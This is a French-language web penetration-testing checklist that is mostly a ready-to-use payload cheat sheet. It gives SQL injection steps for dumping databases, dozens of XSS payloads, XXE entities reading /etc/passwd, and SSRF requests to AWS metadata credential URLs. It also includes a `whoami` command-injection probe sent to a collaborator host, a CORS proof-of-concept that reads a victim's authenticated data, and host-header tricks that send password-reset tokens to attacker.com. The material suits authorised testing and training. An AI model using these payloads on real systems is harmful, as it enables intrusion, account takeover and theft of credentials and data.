CheckList & Méthodologie

Au début :
Ajouter l'url dans le scope sur BURP
Mettre les cookies du compte le moins privilégié dans l'extension Authorize
Scan Server
NMAP
  sudo nmap -sS <IP>
  nmap -A -p- <IP>
  sudo nmap -v -Pn -sV --reason --version-all --top-ports 1000 <IP>
Nikto
  nikto -h <URL>
Shodan
Aller sur le site Shodan et regarder s'il existe des informations
DNS
Check DNS
dnsrecon -d www.example.com -a
dnsenum <IP>
SSL/TLS Check
Checkez la version TLS utilisée (doit être 1.3) | Expiration des certificats | Support PFS
SSL Scanner (Burp Extension)
​SSL_Check​
./testssl.sh <URL>
testssl <URL>
Subdomain/Directory Listing
Checker les sous domaines (Subfinder, Amass, CRTfinder, Sublist3r)
Checker les directories (Dirb, Dirbuster, Gobuster, FeroxBuster, dirSearch)
Specific informations gathering
Check de :
/.git
/robots.txt
/sitemap.xml
/crossdomain.xml
/clientaccesspolicy.xml
/phpinfo.php
.DS_Store (https://github.com/gehaxelt/Python-dsstore)
python main.py samples/.DS_Store.ctf
WAF (Fortinet, CloudFlare, etc...)
Google Dork
Code source
Headers Check
X-XSS-Protection
Strict-Transport-Security
X-Content-Type-Options
X-Frame-Options
Content-Security-Policy
Cache-Control
Headers Injection
Host header injection
Host Header
Host : evil.com
Host: localhost
Host : javascript:confirm(1)
Host: <link src="http://www.attacker.com"/>
Dupliquez le champs Host : evil.com:
GET / HTTP/1.1
Host: www.vulnerable_website.com
Host: www.attacker.com
Indentez le premier champ Host :
GET / HTTP/1.1
 Host: www.vulnerable_website.com
Host: www.attacker.com
Bypass admin panel
  1. Ce bypass est utilisé lorsque l'accès à la page de connexion de l'admin vous est interdit.
  3. Injecter "X-Orginal-URL : /admin" ou "X-Rewrite-URL:/admin".
  4. Utiliser cet en-tête sous Host
​
  * Utilisez Burp pour capturer puis vérifier
Forwarded Injection
Injecter :
127.0.0.1
localhost
192.168.1.2
burp.collaborator
evil.com
/admin
/console
Dans :
Client-IP:
Connection:
Contact:
Forwarded:
From:
Host:
Origin:
Referer:
True-Client-IP:
X-Client-IP:
X-Custom-IP-Authorization:
X-Forward-For:
X-Forwarded-For:
X-Forwarded-Host:
X-Forwarded-Server:
X-Host:
X-Original-URL:
X-Originating-IP:
X-Real-IP:
X-Remote-Addr:
X-Remote-IP:
X-Rewrite-URL:
​
URL Absolu
Essayez de rentrer un URL absolu :
  GET **https://google.com** HTTP/1.1
  Host: www.google.com
SSRF Injection
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
CORS (Cross Origin Resource Sharing)
Ajouter le header "Origin" à la requête :
  GET / HTTP/1.1
  Host: www.vulnerable_website.com
  **Origin : evil.com**
Si la réponse contient le code ci dessous vous avez une vulnérabilité CORS :
  **Acces-Control-Allow-Origin: evil.com
  Access-Control-Allow-Credentials: True**
Pour POC une vulnérabilité CORS :
Habituellement, vous voulez cibler un endpoint API.
Créer un fichier test.html
<html>
  <body>
      <h2>CORS PoC</h2>
      <div id="demo">
          <button type="button" onclick="cors()">Exploit</button>
      </div>
      <script>
          function cors() {
          var xhr = new XMLHttpRequest();
          xhr.onreadystatechange = function() {
              if (this.readyState == 4 && this.status == 200) {
              document.getElementById("demo").innerHTML = alert(this.responseText);
              }
          };
           xhr.open("GET",
                    "https://victim.example.com/endpoint", true);
          xhr.withCredentials = true;
          xhr.send();
          }
      </script>
  </body>
</html>
Créez un server python : python3 -m http.server
Cliquez sur test.html puis sur le bouton POC
​trustedsec/cors-poc​
CORS bypass :
Origin : null
Origin : attacker.com
Origin : attacker.target.com
Origin : attackertarget.com
Origin : sub.attackertarget.com
Origin : attacker.com and then change the method Get to Post/Post to Get
Origin : sub.attacker target.com
Origin : sub.attacker%target.com
Origin : attacker.com/target.com
Cookies
Attributs à checker
HttpOnly
Secure
SameSite
Obfuscation
​Base64decode​
Credentials
Contient des creds ?
Contient des paramètres (id, uid, ...) ?
Tester des injections SQL dans les paramètres du genre (uid=, id=)
Login/Logout/Account creation
Creation de compte
Politique de mot de passe ( 8 caractères minimums, Majuscule, Minuscule, caractères speciaux) sinon vulnérabilité.
Vérification par email lors de la création de compte ?
Essayer de rentrer un nom d'utilisateur déjà existant pour voir si l'ancien est effacé
Username unique ? Possibilité d'avoir le même qu'un autre ?
Ajouter des espaces dans le champs "Password"
​
Login
Provoquer une erreur et voir si information dans le message d'erreur
Login avec l'utilisateur ayant le moins de privilège
Ajouter les cookies de cet user à Autorize
Brute Force possible ?
Injection SQL possible ?
Énumération d'users ?
​
Logout
Provoquer une erreur et voir s'il y a des informations dans le message d'erreurs
Essayer de se Logout et voir si les cookies sont réutilisables
Énumération d'users ?
Forgot_Password
Lien de reset de password n'expirant jamais
lorsqu'un utilisateur demande un changement de mot de passe, il obtient un lien de réinitialisation de mot de passe pour réinitialiser le mot de passe, c'est le comportement normal, mais il devrait également expirer après un certain temps. S'il n'expire pas et que vous pouvez utiliser le lien de réinitialisation du mot de passe plusieurs fois pour réinitialiser le mot de passe. Ensuite, vous pouvez le considérer comme une vulnérabilité.
Nextcloud disclosed on HackerOne: Possible denial of service when...
HackerOne
Pas de limite sur le reset de password
La limitation de débit est utilisée pour contrôler la quantité de trafic entrant et sortant vers ou depuis un réseau. Essayez donc d'envoyer beaucoup de requêtes, si cela ne vous bloque pas, vous pouvez le considérer comme une vulnérabilité.
HOW TO HUNT :
1.Démarrez burp et interceptez la demande de réinitialisation du mot de passe 
2.Envoyer à l'intruder
3.Utilisez le payload "null"
Staging.every.org disclosed on HackerOne: No Rate Limit On Reset...
HackerOne
Déni de service lors de la saisie d'un long mot de passe
Normalement, les mots de passe ont 8-12-24 ou jusqu'à 48 chiffres. s'il n'y a pas de limite de caractères dans le mot de passe, vous pouvez le considérer çela comme une vulnérabilité.
HOW TO HUNT :
1.Démarrez burp et interceptez la demande de réinitialisation du mot de passe 
2.Envoyer à l'intruder
3.Utilisez le payload "null"
​
Nextcloud disclosed on HackerOne: Possible denial of service when...
HackerOne
Fuite de token de réinitialisation de mot de passe via referer
Le referer HTTP est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page Web qui est liée à la ressource demandée. L'en-tête de demande Referer contient l'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi. Il est donc possible que le jeton de réinitialisation du mot de passe fuit via l'en-tête de demande de référence.
HOW TO HUNT :
1.Demandez la réinitialisation du mot de passe sur votre adresse e-mail 
2.Ouvrez le lien de réinitialisation du mot de passe 
3.Assurez-vous de ne pas modifier le mot de passe sur la page de réinitialisation du mot de passe 
4.Cliquez sur les liens de médias sociaux et capturez la demande à l'aide de Burp Suite 
5.Vérifiez si le referer contient un jeton de réinitialisation de mot de passe
Exemple : Nord Security disclosed on HackerOne: Password Reset Link Leaked In...​
​
Réinitialisation du mot de passe avec la manipulation du paramètre emails
Tout en demandant un lien de réinitialisation de mot de passe pour l'utilisateur victime, nous pouvons essayer la manipulation des paramètres ci-dessous pour obtenir une copie du lien de réinitialisation de la victime sur l'e-mail de l'attaquant.
HOW TO HUNT :
Double parameter (HTTP parameter pollution) : [email protected]&[email protected]
Carbon copy : [email protected]%0a%0dcc:[email protected]
Using separators : [email protected],[email protected][email protected]%[email protected][email protected]|[email protected]
No domain : email=victim
No TLD (Top Level Domain) : [email protected]
JSON table : {“email”:[“[email protected]”,”[email protected]”]}
UPchieve disclosed on HackerOne: Full account takeover of any user...
HackerOne
Password reset Poisoining grâce à une fuite de token
Utilisations des idées pour forward la requete vers un lien nous appartenant.
HOW TO HUNT :
1.Interceptez la demande de réinitialisation du mot de passe dans Burpsuite 
2.Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burp (essayer un par un !)
3.Utilisez Ngrok ou collaborator
Host:attacker.com
​
Host:target.com
X-Forwarded-Host: burp.collaborator
X-Fowraded-For :  burp.collaborator
​
Host:target.com
Host:  burp.collaborator
Concrete CMS disclosed on HackerOne: Password Reset link hijacking...
HackerOne
Remplacer email par [email protected] et examiner les requetes obtenus.
ID dans la requete ? Mettre un autre ID
Brute force possible ?
Token présent dans la requête ?
Expiration du lien de reset ?
Spamming d'email possible ?
Demander deux resets de mdp et tester le lien le plus vieux
Utiliser l'extension Burp "ParamMiner" et chercher des paramètres cachés.
Essayez de supprimer le champs "Ancien mot de passe" si on vous demande de l'entrer
Si un CSRF_Token est présent essayer de set sa valeur sur "null"  : CSRF_Token:null
Host header injection
Créez un lien Ngrok
Demander un reset de mot de passe et injecter "Host:<ngrok_url> " avec votre email et checker si le lien de reset dans l'email contient votre URL ngrok
Injecter la même chose dans le header "X-Forwarded-Foret **X-Forwarded-Host**"
JavaScript
Dans Burp utiliser l'extension Burp JS LinkFinder
​SecretFinder​
Checker des clefs d'API en clair
Checker si il y a des appels de paramètres dans les scripts JS
exemple : main.js?token="4745678976567"
Tester des injection JavaScript dans les paramètres trouvés
Utiliser ces injections JavaScript dans une vulnérabilité d'OpenRedirect
exemple : https://vulnerable_website/test?url= —> open redirect
exemple : [https://vulnerable_website/test?url=main.js?token=<em>confirm(1)</em>](https://vulnerable_website/test?url=main.js?token=<em>confirm(1)</em>) —> exploitation
Open Redirect
Chercher des paramètres du type : redirect=, url=, redirecturl=, redirection=, et essayer d'injecter un site externe
exemple: https://vulnerable_website/test?url=www.google.com​
Si une redirection s'effectue vous êtes en présence d'une vulnérabilité d'Open Redirection
Astuce : exporter le sitemap de burp :
cat sitemap.txt | gf redirect >> test_redirect.txt
cat test_redirect.txt | qsreplace "https://google.com" >> ffuf_redirect.txt
ffuf -c -w ffuf_redirect.txt -u FUZZ
JWT
JWT tool
None algorithm :
Essayez de changer le header du JWT normalement encodé en RS256 en "None" et testez les différents payload générés :
python3 jwt_tool.py "<JWT>" -X a
From RS256 to HS256
Essayez de changer le type d'algorithme de chiffrement utilisé (RS256 néscessite une clef privée alors que HS256 utilise une clef publique partagée. On peut donc essayer de chiffrer ce token avec la meme clef publique que l'application.
python3 jwt_tool.py "<JWT>" -S hs256 -k clef_public
Voila une extension Burp qui reproduit les mêmes attaques : JOSPEH
JOSEPH Extension
Key Confusion
Signature Exclusion
Signature non checker par le serveur
Il peut arriver qu'un serveur ne check pas la signature du JWT, nous allons donc essayer de modifier le JWT
python3 jwt_tool.py "<JWT>" -I -pc name -pv admin #On change la variable {name}={admin}
Injections
POLYGLOT PAYLOAD TO USE EVERYTIME : 
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
(/*! SLEEP(5) ) /*/ onclick=alert(1) )//<button value=Click_Me /*/*/or' /*! or SLEEP(5) /*/, onclick=alert(1)//> /*/*/-- 'or" /*! or SLEEP(5) /*/, onclick=alert(1)// /*/*/--{{7*7} "
SQLi
Manuellement 1. Trouver une injection
  Le but étant de remarquer si une erreur apparait ou si le comportement de l'application change.
​
  ```sql
  '
  ' or 1=1 
  ' or 1=1 -- 
  ' or 1=1 -- -
  ' or 1=1 #
  ' and 1=2 -- -
  ' and 1=1 -- -
  Bypass WAF : %00 ' UNION SELECT ...
​
  Best payload : Permet de trouver les blinds et les error based
  ' or sleep(5) -- -
  ```
1.Trouver le nombre de colonnes :
     ' ORDER BY 1 --
       ' ORDER BY 2 --
     ' ORDER BY 3 --
     ' UNION SELECT NULL --
         ' UNION SELECT NULL,NULL --
         ' UNION SELECT NULL,NULL,NULL --
​
  Incrementer de 1 le ORDER BY ou le NULL, jusqu"à avoir :
 - Une erreur pour le order BY
 - Pas d'erreur pour le NULL
2.Extraction d'informations database(), version(), user(), UUID() with concat() or group_concat() (COLUMNS represente le nb de colonnes trouvé précédement, soit remplacer par 1,2,3,... ou NULL,NULL,NULL,... ) :
 Oracle               'UNION SELECT banner, COLUMNS,  FROM v$version --
                                     'UNION SELECT version, NULL, NULL FROM v$instance --
​
 Microsoft               'UNION SELECT @@version, COLUMNS -- 
​
 PostgreSQL               'UNION SELECT version(), COLUMNS --
​
 MySQL                   'UNION SELECT @@version, COLUMNS --
3.Dump de la database (Attention : Mieux vaut encoder les espaces avec un "+") :
 Oracle            'UNION+SELECT+table_name+FROM+all_tables
                     'UNION SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
​
 Microsoft           'UNION SELECT table_name FROM information_schema.tables
                   'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
​
 PostgreSQL           'UNION SELECT table_name FROM information_schema.tables
                   'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
​
 MySQL             'UNION SELECT table_name FROM information_schema.tables
                   'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
4.TIME DELAY ( Utile pour trouver des SQLi)
 Oracle           dbms_pipe.receive_message(('a'),10)
​
 Microsoft       WAITFOR DELAY '0:0:10'
​
 PostgreSQL       SELECT pg_sleep(10)
​
 MySQL           SELECT sleep(10)
5.SQLi Error based avec XPATH
D'après mon expérience, la plupart du temps, quand on ajoute une quote ou deux et nous obtenons une erreur de l'application alors on en déduis une SQLi, très bien. On commence par commenter la requête et à chercher le nombre de colonnes avec ORDER BY.
Supposons qu'il y ait 5 colonnes. Maintenant, quand nous injectons avec de l'Union Based, On se rend compte que l'erreur ne nous renvoi rien... Merde....
C'est la situation dans laquelle on peut utiliser l'injection XPATH.
Donc on reprend l'injection de base :
  id=1' union select 1,2,3,4,-- -
  # Cette Injection prend la forme de :
  select path from pages where id="<notre_requete>" limit 1,1;
On vas donc utiliser la fonction MySQL"extractvalue" qui utilise une requete XPATH pour formuler la requete. La fonction prend l'entrée sous la forme suivante : ExtractValue('xmldatahere', 'xpathqueryhere').
Si la requête XPath est syntaxiquement incorrecte, un message d'erreur s'affiche : Erreur de syntaxe XPATH : 'xpathqueryhere'. C'est dans cette erreur qu'on va pouvoir retrouver nos réponse à nos requêtes.
  id=1' and extractvalue(0x0a,concat(0x0a,(select database())))--
  Output : XPATH syntax error: ' database_name_here'
Maintenant il ne vous reste plus qu'à adapter les requêtes pour dumper dans l'ordre :
1.Le nom de la database
2.Le nom des tables
3.Le nom des colonnes
4.Les données dans les colonnes
id=1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--
Output : XPATH syntax error: 'table_name_here'
​
id=1' and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))--
​
id=1' and extractvalue(0x0a,concat(0x0a,(select count(username) from users)))--
⚠️ ATTENTION : Vous avez remarqué le "LIMIT 1,1", jouez avec ca pour afficher toutes les données.
Ex : LIMIT 1,1 / LIMIT 2,1 / LIMIT 3,1 ....
Automatisation
  sublist3r -d target | tee -a domains.txt (utilisation d'autres tolls genre findomain, assetfinder, etc.)
  cat domains.txt | httpx | tee -a alive_subdomains.txt
  cat alive_subdomains| waybackurls | tee -a urls.txt
  gf sqli urls.txt >> sqli_test.txt
  sqlmap -m sqli_test.txt --dbs --batch
XSS
Test d'une XSS :
Le paramètre est-il réfléchis dans la réponse du serveur ? Si oui →
Go sur ce site et mettez les différent tags et events dans votre intruder pour savoir lesquels sont filtrés ou non.
​Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy​
Injection de code HTML
# HTML
"><h1>hello</h1>
Si le Hello" prend l'attribut H1 on peut tester plusieur injections :
<body onload=prompt(/XSS/.source)>
<input autofocus onfocus=prompt(1)>
<img src=x onerror=prompt()>${{7*7}}'--
​
# Basic payload
<script>confirm(1)</script>
<scr<script>ipt>confirm(1)</scr<script>ipt>
"><script>confirm(1)</script>
"><script>prompt(String.fromCharCode(88,83,83))</script>
​
# Img payload
<img src=x onerror=prompt(1);>
<img src=x onerror=prompt(1)//
<img src=x onerror=prompt(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=prompt(String.fromCharCode(88,83,83));>
<img src=x:prompt(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=prompt(1);>
"><img src=x onerror=prompt(String.fromCharCode(88,83,83));>
​
# Svg payload
<svgonload=prompt(1)>
<svg/onload=confirm(1)>
<svg onload=prompt(1)//
<svg/onload=confirm(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=confirm(String.fromCharCode(88,83,83))>
"><svg/onload=prompt(/XSS/)
<svg><script href=data:,confirm(1) />(`Firefox` is the only browser which allows self closing script)
​
# Div payload
<div onpointerover="confirm(xss)">MOVE HERE</div>
<div onpointerdown="confirm(45)">MOVE HERE</div>
<div onpointerenter="confirm(45)">MOVE HERE</div>
<div onpointerleave="confirm(45)">MOVE HERE</div>
<div onpointermove="confirm(45)">MOVE HERE</div>
<div onpointerout="confirm(45)">MOVE HERE</div>
<div onpointerup="confirm(45)">MOVE HERE</div>
Automatisation :
Inscription sur XSSHunter
paramspider -d exemple.com > param.txt
dalfox -b Username.xss.ht file param.txt
TIPS :
Ne plus utiliser alert, préférez confirm ou prompt
N'utilise pas des "" dans votre payload, préférez utiliser un nombre
~~alert("XSS")~~ —> prompt(1)
XXE
1.Convertir le content-type "application/json"/"application/x-www-form-urlencoded" en "applcation/xml".
2.Si le File Upload autorise docx/xlcs/pdf/zip , unziper le fichier et rajouter un fichier evil.xml avec votre XML injection dedans
3.Si possibilité d'upload une image SVG, injecter une XXE dans votre SVG
4.Si l'application propose des flux RSS, ajoutez votre injection dans le flux RSS.
5.Si l'application propose l'intégration du SSO, vous pouvez injecter votre code xml vicieux dans la demande/réponse SAML.
6.Dans du SOAP :
​GitHub - payloadbox/xxe-injection-payload-list: 🎯 XML External Entity (XXE) Injection Payload List​
Il faut comprendre comment marche une XXE pour essayer de bypass les mécanismes de sécurité :
Le XML marche sous forme d'entité, il est possible d'injecter des entitées customs :
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [ <!ENTITY MON_ENTITE "Valeur de mon entité" > ]>
<userInfo>
<firstName>John</firstName>
<lastName>&MON_ENTITE;</lastName> #Appel de ma custom entity
</userInfo>
Ou encore d'injecter des entitées externes qui seront chargé soit depuis un URL soit depuis un fichier distant. Pour charger ces entités on utilise la commande SYSTEM
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://external-website.com" > ]> # **file:///etc/passwd** peut aussi être utilisé
<userInfo>
<firstName>John</firstName>
<lastName>&ext;</lastName> #Appel de mon external entity
</userInfo>
Quelques fois il est possible que les entitées externes soient bloquées pour des raisons de sécurité. On peut alors utiliser non plus des custom ou external entities mais des parameters entity qui vont s'appeler directement depuis la délcaration de la DOCTYPE et donc plus besoin de l'appeler dans les paramètres de la requète (plus bespoin de &xxe;) :
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://burp.collaborator.net"> %xxe; ]>
SSRF
POC
Dans Burp > fichier > Burp Collaborator > Copy to Clipboard
Injectez vos Burp collaborator dans les éléments suivants et checker si vous avez une connexion en retour :
Burp Extension : Collaborator Everywhere
Injecter dans les headers (
GET /HTTP 1.1
Host: site.tld
Agent: Firefox
Referrer: https://burp_collaborator.com
Utiliser ssrf.py avec gau
gau domain.com | python3 ssrf.py burp_collaborator.com
Checker si des fonctionnalités Java URI, CURL, WGET, LDAP, File, FTP, SMTP sont utilisés
Checker des paramètres où l'on peu entrer des liens ou quand il y a une redirection :  url=, redirect=, redirecturl=, email=, ip=
Si XSS ou possibilité d'injecter du JavaScript :
<iframe src="file:///etc/passwd" width="400" height="400">
<img src onerror="document.write('<iframe src=//127.0.0.1></iframe>')>
Automatisation 1. Getting urls
      waybackurl [target.com](http://target.com) >> blindssrftesturls.txt
      gau -subs [target.com](http://target.com) >>blindssrftesturls.txt
2. Trouver les faux positifs
  cat blindssrftesturls.txt | sort -u | anewc | httpx | tee -a pre_ssrfurls.txt
3. Trouver les paramètres vulnérables
  cat pre_ssrfurls.txt | gf ssrf >> final_ssrfurls.txt
4. Remplacer par votre Burp Collaborator et Fuzzer
  cat final_ssrfurls.txt | qsreplace "Burpcollaborator" >> ssrf_ffuf.txt
  ffuf -c -w ssrf_ffuf.txt -u FUZZ
TIPS :
Si instance sur AWS
AWS est largement utilisé de nos jours. Les instances n'ont pas une IP en 127.0.0.1 mais en 169.254.169.254.
Essayez d"injecter :
​
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
Test RCE
GET /XXX/Logo?url=burpcollaborator?`whoami`
Host: exemple.com
​
ou 
​
GET /XXX/Logo?url=<os cmd>.burpcollaborator
Host: exemple.com
Utiliser des redirection d'URL pour bypass certaines protection
#!/usr/bin/env python3
#302redirect.py
​
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
​
if len(sys.argv)-1 != 2:
 print("""
Usage: {} <port_number> <url>
 """.format(sys.argv[0]))
 sys.exit()
​
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
    self.send_response(302)
    self.send_header('Location', sys.argv[2])
    self.end_headers()
def send_error(self, code, message=None):
    self.send_response(302)
    self.send_header('Location', sys.argv[2])
    self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
python3 302redirect.py 8080 "http://burpcollaborator/"*
​
GET /XXX/Logo?url=<YOUR IP>/
Host: exemple.com
Si présence d'une SSRF utiliser le protocole gopher :
GET /XXX/Logo?url=gopher://burpcollaborator
Host: exemple.com
SSTI
Ruby
  <%=`id`%>
Twig
  {{7*'7'}} --> 49
Jinja
  {{7*'7'}} --> 7777777
OS command
XPath
LDAP
File Upload
ByPass de filtre:
Différents types de filtrage.
Validation de l'extension
Les extensions de fichiers sont utilisées (en théorie) pour identifier le contenu d'un fichier. En pratique, elles sont très faciles à modifier et ne signifient donc pas grand-chose ; cependant, MS Windows les utilise toujours pour identifier les types de fichiers, bien que les systèmes basés sur Unix aient tendance à utiliser d'autres méthodes, que nous aborderons plus tard. Les filtres qui vérifient les extensions fonctionnent de deux manières. Soit ils établissent une blacklist d'extensions (c'est-à-dire qu'ils ont une liste d'extensions qui ne sont pas autorisées), soit ils établissent une whitelist d'extensions (c'est-à-dire qu'ils ont une liste d'extensions qui sont autorisées et rejettent tout le reste).
Filtre du file type
Similaire à la validation de l'extension, mais plus intensif, le filtrage du type de fichier cherche, une fois encore, à vérifier que le contenu d'un fichier est acceptable pour le téléchargement. Nous allons examiner deux types de validation de type de fichier :
La validation MIME : Les types MIME (Multipurpose Internet Mail Extension) sont utilisés pour identifier les fichiers, à l'origine lorsqu'ils sont transférés sous forme de pièces jointes par courrier électronique, mais désormais aussi lorsqu'ils sont transférés par HTTP(S). Le type MIME pour un téléchargement de fichier est joint dans l'en-tête de la demande, et ressemble à ceci :
Les types MIME suivent le format /. Dans la requête ci-dessus, vous pouvez voir que l'image "spaniel.jpg" a été téléchargée sur le serveur. En tant qu'image JPEG légitime, le type MIME de ce téléchargement était "image/jpeg". Le type MIME d'un fichier peut être vérifié côté client et/ou côté serveur ; cependant, comme le type MIME est basé sur l'extension du fichier, il est extrêmement facile de le contourner.
Validation des nombres magiques : Les nombres magiques sont le moyen le plus précis de déterminer le contenu d'un fichier, mais il n'est pas impossible de les falsifier. Le "numéro magique" d'un fichier est une chaîne d'octets au tout début du contenu du fichier qui identifie le contenu. Par exemple, un fichier PNG aura ces octets au tout début du fichier : 89 50 4E 47 0D 0A 1A 0A.
Contrairement à Windows, les systèmes Unix utilisent des numéros magiques pour identifier les fichiers. Toutefois, lors du téléchargement de fichiers, il est possible de vérifier le numéro magique du fichier téléchargé pour s'assurer qu'il peut être accepté en toute sécurité. Ce n'est en aucun cas une solution garantie, mais c'est plus efficace que de vérifier l'extension d'un fichier.
Filtre de la taille du fichier
Les filtres de longueur de fichier sont utilisés pour empêcher le téléchargement de fichiers volumineux sur le serveur via un formulaire de téléchargement (car cela peut potentiellement priver le serveur de ressources). Dans la plupart des cas, cela ne posera aucun problème lorsque nous téléchargerons des shells ; cependant, il faut garder à l'esprit que si un formulaire de téléchargement ne prévoit que le téléchargement d'un très petit fichier, il peut y avoir un filtre de longueur en place pour s'assurer que la longueur du fichier est respectée. Par exemple, notre shell PHP reverse complet de la tâche précédente pèse 5,4 Ko, ce qui est relativement petit, mais si le formulaire attend un maximum de 2 Ko, nous devrons trouver un autre shell à télécharger
Il convient de noter qu'aucun de ces filtres n'est parfait à lui seul. Ils sont généralement utilisés en conjonction les uns avec les autres, ce qui permet d'obtenir un filtre à plusieurs niveaux et d'accroître considérablement la sécurité du téléchargement. Tous ces filtres peuvent être appliqués côté client, côté serveur ou les deux.
Check à faire:
Bypass Filtre côté serveur
Méthodologie
Il existe quatre façons simples de contourner le filtre de téléchargement de fichiers côté client :
Désactiver Javascript dans votre navigateur - cela fonctionnera si le site ne nécessite pas Javascript pour fournir une fonctionnalité de base. Si la désactivation complète de Javascript empêche le site de fonctionner, l'une des autres méthodes est plus souhaitable ; sinon, cette méthode peut être un moyen efficace de contourner complètement le filtre côté client.
Intercepter et modifier la page entrante. En utilisant Burpsuite, nous pouvons intercepter la page Web entrante et supprimer le filtre Javascript avant qu'il n'ait la possibilité de s'exécuter. La procédure à suivre est décrite ci-dessous.
Intercepter et modifier le téléchargement de fichiers. Alors que la méthode précédente fonctionne avant le chargement de la page Web, cette méthode permet à la page Web de se charger normalement, mais intercepte le téléchargement du fichier après qu'il soit passé (et accepté par le filtre). Encore une fois, nous couvrirons le processus d'utilisation de cette méthode au cours de la tâche.
Envoyez le fichier directement au point de téléchargement. Pourquoi utiliser la page Web avec le filtre, alors que vous pouvez envoyer le fichier directement en utilisant un outil comme curl ? Envoyer les données directement à la page qui contient le code de traitement du téléchargement du fichier est une autre méthode efficace pour contourner complètement un filtre côté client. Nous ne traiterons pas cette méthode en profondeur dans ce tutoriel, mais la syntaxe d'une telle commande ressemblerait à ceci :
curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>
Supposons qu'une fois encore, nous ayons trouvé une page de téléchargement sur un site web:
Comme toujours, nous allons jeter un coup d'oeil au code source. Ici, nous voyons une fonction Javascript de base vérifiant le type MIME des fichiers téléchargés :
CSRF
Extension Burp
JS Link Finder
SSL Scanner
HopLa
Bypass WAF
Param Miner
Reflected Parameters (Reflection)
Additional Scanner Check
JWT
Collaborator Everywhere
Authorize
403 bypasser (https://github.com/sting8k/BurpSuite_403Bypasser)
Quick Automatise Recon
Subfinder + amass + crtfinder + sublist3r + google dork >> all_subdomains.txt
httpx -l all_subdomains.txt -silent >> live_subdomains.txt
cat live_subdomains.txt | waybackurls > waybackurls.txt
ffuf -w /path/to/wordlist -u [https://target/FUZZ](https://target/FUZZ) -mc 200, 301,302,403 >> hidden_directories.txt
nmap -sC -iL all_subdomains.txt >> nmap_results
cat waybackurl.txt | gf redirect | tee -a redirect.txt
cat waybackurl.txt | grep js >> js_files.txt
cat all_subdomains.txt waybackurls.txt vulnerable_links.txt >> target_urls.txt
nuclei -l target_urls.txt -t cves/ -t takeovers/ -t misconfiguration/ -t defautlt-logins/ -t fuzzing/ -t technologies/ -t vulnerabilities/